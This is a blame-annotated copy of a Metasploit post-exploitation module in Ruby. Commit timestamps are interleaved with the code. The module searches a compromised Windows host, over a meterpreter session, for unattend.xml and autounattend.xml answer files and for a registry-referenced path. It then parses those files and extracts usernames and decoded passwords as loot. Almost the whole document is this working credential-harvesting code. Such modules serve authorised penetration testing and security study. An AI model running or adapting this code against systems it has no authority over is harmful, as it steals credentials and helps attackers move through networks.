2012-07-01 09:08:18 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-07-01 09:08:18 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2012-12-13 10:58:05 +00:00
|
|
|
require 'rex/parser/unattend'
|
2012-07-01 09:08:18 +00:00
|
|
|
require 'rexml/document'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Post
|
2012-07-01 09:08:18 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Gather Unattended Answer File Enumeration',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will check the file system for a copy of unattend.xml and/or
|
|
|
|
autounattend.xml found in Windows Vista, or newer Windows systems. And then
|
|
|
|
extract sensitive information such as usernames and decoded passwords.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Sean Verity <veritysr1980[at]gmail.com>',
|
|
|
|
'sinn3r',
|
2014-04-09 15:46:10 +00:00
|
|
|
'Ben Campbell'
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
|
2013-09-27 20:45:57 +00:00
|
|
|
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
|
|
|
|
['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580']
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Determine if unattend.xml exists or not
|
|
|
|
#
|
|
|
|
def unattend_exists?(xml_path)
|
|
|
|
x = session.fs.file.stat(xml_path) rescue nil
|
2013-09-27 20:53:46 +00:00
|
|
|
return !!x
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Read and parse the XML file
|
|
|
|
#
|
|
|
|
def load_unattend(xml_path)
|
|
|
|
print_status("Reading #{xml_path}")
|
|
|
|
f = session.fs.file.new(xml_path)
|
|
|
|
raw = ""
|
|
|
|
until f.eof?
|
|
|
|
raw << f.read
|
|
|
|
end
|
|
|
|
|
|
|
|
begin
|
|
|
|
xml = REXML::Document.new(raw)
|
|
|
|
rescue REXML::ParseException => e
|
|
|
|
print_error("Invalid XML format")
|
|
|
|
vprint_line(e.message)
|
|
|
|
return nil, raw
|
|
|
|
end
|
|
|
|
|
|
|
|
return xml, raw
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Save Rex tables separately
|
|
|
|
#
|
2013-09-05 19:57:40 +00:00
|
|
|
def save_cred_tables(cred_table)
|
|
|
|
t = cred_table
|
|
|
|
vprint_line("\n#{t.to_s}\n")
|
2013-09-27 20:48:48 +00:00
|
|
|
p = store_loot('windows.unattended.creds', 'text/plain', session, t.to_csv, t.header, t.header)
|
2013-09-05 19:57:40 +00:00
|
|
|
print_status("#{t.header} saved as: #{p}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Save the raw version of unattend.xml
|
|
|
|
#
|
|
|
|
def save_raw(xmlpath, data)
|
|
|
|
return if data.empty?
|
|
|
|
fname = ::File.basename(xmlpath)
|
|
|
|
p = store_loot('windows.unattended.raw', 'text/plain', session, data)
|
|
|
|
print_status("Raw version of #{fname} saved as: #{p}")
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# If we spot a path for the answer file, we should check it out too
|
|
|
|
#
|
|
|
|
def get_registry_unattend_path
|
|
|
|
# HKLM\System\Setup!UnattendFile
|
|
|
|
begin
|
|
|
|
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM')
|
|
|
|
fname = key.query_value('Setup!UnattendFile').data
|
|
|
|
return fname
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
|
|
return ''
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# Initialize all 7 possible paths for the answer file
|
|
|
|
#
|
|
|
|
def init_paths
|
2013-12-19 01:43:59 +00:00
|
|
|
drive = session.sys.config.getenv('SystemDrive')
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
files =
|
|
|
|
[
|
|
|
|
'unattend.xml',
|
|
|
|
'autounattend.xml'
|
|
|
|
]
|
|
|
|
|
|
|
|
target_paths =
|
|
|
|
[
|
|
|
|
"#{drive}\\",
|
|
|
|
"#{drive}\\Windows\\System32\\sysprep\\",
|
|
|
|
"#{drive}\\Windows\\panther\\",
|
|
|
|
"#{drive}\\Windows\\Panther\Unattend\\",
|
|
|
|
"#{drive}\\Windows\\System32\\"
|
|
|
|
]
|
|
|
|
|
|
|
|
paths = []
|
|
|
|
target_paths.each do |p|
|
|
|
|
files.each do |f|
|
|
|
|
paths << "#{p}#{f}"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# If there is one for registry, we add it to the list too
|
|
|
|
reg_path = get_registry_unattend_path
|
2013-09-27 20:55:57 +00:00
|
|
|
paths << reg_path unless reg_path.empty?
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
return paths
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
init_paths.each do |xml_path|
|
|
|
|
# If unattend.xml doesn't exist, move on to the next one
|
2013-09-27 20:53:46 +00:00
|
|
|
unless unattend_exists?(xml_path)
|
2013-08-30 21:28:54 +00:00
|
|
|
vprint_error("#{xml_path} not found")
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
|
|
|
xml, raw = load_unattend(xml_path)
|
|
|
|
save_raw(xml_path, raw)
|
|
|
|
|
|
|
|
# XML failed to parse, will not go on from here
|
2013-09-27 20:55:57 +00:00
|
|
|
return unless xml
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
results = Rex::Parser::Unattend.parse(xml)
|
2013-09-05 19:57:40 +00:00
|
|
|
table = Rex::Parser::Unattend.create_table(results)
|
|
|
|
table.print unless table.nil?
|
|
|
|
print_line
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2013-09-27 20:53:46 +00:00
|
|
|
# Save the data to a file, TODO: Save this as a Mdm::Cred maybe
|
2013-09-27 20:55:57 +00:00
|
|
|
save_cred_tables(table) unless table.nil?
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2013-09-27 20:55:57 +00:00
|
|
|
return unless datastore['GETALL']
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-07-01 09:08:18 +00:00
|
|
|
end
|